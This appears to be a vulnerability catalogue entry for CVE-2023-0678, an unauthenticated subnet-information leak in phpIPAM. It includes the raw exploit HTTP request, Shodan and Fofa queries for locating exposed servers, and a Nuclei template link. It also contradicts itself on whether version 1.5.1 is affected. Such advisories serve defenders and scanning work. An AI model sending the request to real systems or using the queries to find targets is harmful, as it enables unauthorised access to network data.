| Title | PHPIPAM |
|---|---|
| Author | princechaddha,ritikchaddha |
| Severity | Medium |
| Impact | Unauthenticated attackers can access sensitive network information including IP subnet descriptions, ranges, and usage rates through the find_full_subnets.php endpoint without authorization. |
| Remediation | Update phpIPAM to version 1.5.1 or later that implements proper authorization checks in find_full_subnets.php before returning subnet information. |
| CVSS Score | 5.3 |
| EPSS Score | 0.63963 |
| CVE ID | CVE-2023-0678 |
| CWE ID | CWE-862 |
| Shodan Query | html:"phpIPAM IP address management"http.html:"phpipam ip address management" |
| Fofa Query | body="phpipam ip address management" |
| Tags | cve cve2023 php phpipam unauth vuln |
In phpIPAM 1.5.1, an unauthenticated user could download the list of high-usage IP subnets that contains sensitive information such as a subnet description, IP ranges, and usage rates via find_full_subnets.php endpoint. The bug lies in the fact that find_full_subnets.php does not verify if the user is authorized to access the data, and if the script was started from a command line.
GET /functions/scripts/find_full_subnets.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0678.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0678.pcap
N/AN/A